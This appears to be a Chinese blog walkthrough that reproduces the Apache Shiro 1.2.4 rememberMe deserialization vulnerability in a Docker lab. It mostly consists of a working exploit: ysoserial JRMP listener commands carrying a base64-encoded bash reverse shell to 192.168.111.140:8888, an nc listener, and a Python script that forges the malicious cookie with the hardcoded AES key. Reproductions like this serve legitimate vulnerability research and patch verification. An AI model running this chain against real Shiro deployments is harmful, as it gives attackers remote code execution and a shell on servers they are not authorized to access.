shiro 1.2.4反序列化漏洞复现

0x00 前言

在官网中可以得到该漏洞的描述,主要原因是因为shiro默认使用了CookieRememberMeManager, 其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,其密钥硬编码在代码中为kPH+bIxk5D2deZiIxcaaaA==。导致攻击者可以构造任意数据从而造成反序列化漏洞。

漏洞影响版本为shiro <= 1.2.4

0x01 漏洞复现

环境准备

使用docker快速搭建漏洞环境

docker pull medicean/vulapps:s_shiro_1

docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

工具准备

获取java反序列化利用神器ysoserial

1
2
3
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests

漏洞利用

使用ysoserial中JRMP监听模块并配置监听端口,添加要执行的命令。这里执行反弹shell命令bash -i >& /dev/tcp/192.168.111.140/8888 0>&1

这里命令需要进行一下base64编码 http://www.jackson-t.ca/runtime-exec-payloads.html

然后执行

1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JPListener 3888 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xNDAvODg4OCAwPiYx}|{base64,-d}|{bash,-i}'

然后监听本地8888端口,等待反弹shell。

1
nc -lvp 8888

使用如下脚本得到构造好的rememberMe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext


if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())

使用方法python shiro_rce.py ip:port,其中ip和port为上面启动ysoserialJRMP的ip地址和端口号

然后进行抓包,将cookie中的remeberMe值替换即可。

然后便可收到反弹回的shell并可成功执行命令

本文标题:shiro 1.2.4反序列化漏洞复现

文章作者:boogle

发布时间:2019年11月19日 - 14:49

最后更新:2019年11月28日 - 14:20

原始链接:https://zhengbao.wang/shiro-1-2-4反序列化漏洞复现/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗